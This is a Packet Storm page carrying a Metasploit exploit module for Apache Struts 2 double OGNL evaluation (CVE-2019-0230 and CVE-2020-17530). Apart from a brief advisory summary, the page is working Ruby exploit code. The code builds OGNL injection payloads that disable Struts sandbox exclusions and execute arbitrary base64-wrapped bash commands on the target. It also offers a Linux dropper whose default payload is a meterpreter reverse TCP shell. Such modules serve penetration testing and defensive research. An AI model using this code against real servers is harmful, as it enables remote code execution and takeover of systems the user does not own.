what you don't know can hurt you

Apache Struts 2 Forced Multi OGNL Evaluation

Apache Struts 2 Forced Multi OGNL Evaluation
Posted Dec 24, 2020
Authored by Matthias Kaiser, Spencer McIntyre, Alvaro Munoz, ka1n4t | Site metasploit.com

The Apache Struts framework, when forced, performs double evaluation of attribute values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag's attributes are rendered. With a carefully crafted request, this can lead to remote code execution. This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.

tags | exploit, remote, code execution
advisories | CVE-2019-0230, CVE-2020-17530
MD5 | a00ae15a323f6cf0ba8c86991a9f2707

Apache Struts 2 Forced Multi OGNL Evaluation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
'Description' => %q{
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

This vulnerability is application dependant. A server side template must make an affected use of request data to
render an HTML tag attribute.
},
'Author' => [
'Spencer McIntyre', # Metasploit module
'Matthias Kaiser', # discovery of CVE-2019-0230
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530
'ka1n4t', # PoC of CVE-2020-17530
],
'References' => [
['CVE', '2019-0230'],
['CVE', '2020-17530'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
},
'DefaultTarget' => 0
)
)

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
])
end

def check
num1 = rand(1000..9999)
num2 = rand(1000..9999)

res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
if res.nil?
return CheckCode::Unknown
elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?
return CheckCode::Safe
end

return CheckCode::Appears
end

def exploit
cve = datastore['CVE']
print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")

if cve == 'CVE-2019-0230'
ognl = []
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
ognl << '#ognlUtil.setExcludedClasses(\'\')'
ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
res = send_request_cgi(build_http_request(cve, ognl))
fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
end

case target['Type']
when :unix_cmd
execute_command(payload.encoded, { cve: cve })
when :linux_dropper
execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
end
end

def execute_command(cmd, opts = {})
send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
end

def build_http_request(cve, ognl)
ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array

http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
if cve == 'CVE-2019-0230'
http_request_parameters['method'] = 'GET'
http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
elsif cve == 'CVE-2020-17530'
http_request_parameters['method'] = 'POST'
http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
end
http_request_parameters
end

def build_ognl(cve, cmd)
cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
ognl = []
if cve == 'CVE-2019-0230'
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"
elsif cve == 'CVE-2020-17530'
ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
ognl << '#bean.setBean(#stack)'
ognl << '#context=#bean.get("context")'
ognl << '#bean.setBean(#context)'
ognl << '#macc=#bean.get("memberAccess")'
ognl << '#bean.setBean(#macc)'
ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
ognl << '#bean.put("excludedClasses",#emptyset)'
ognl << '#bean.put("excludedPackageNames",#emptyset)'
ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
ognl << "#execute.exec({\"#{cmd}\"})"
end

ognl
end
end
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close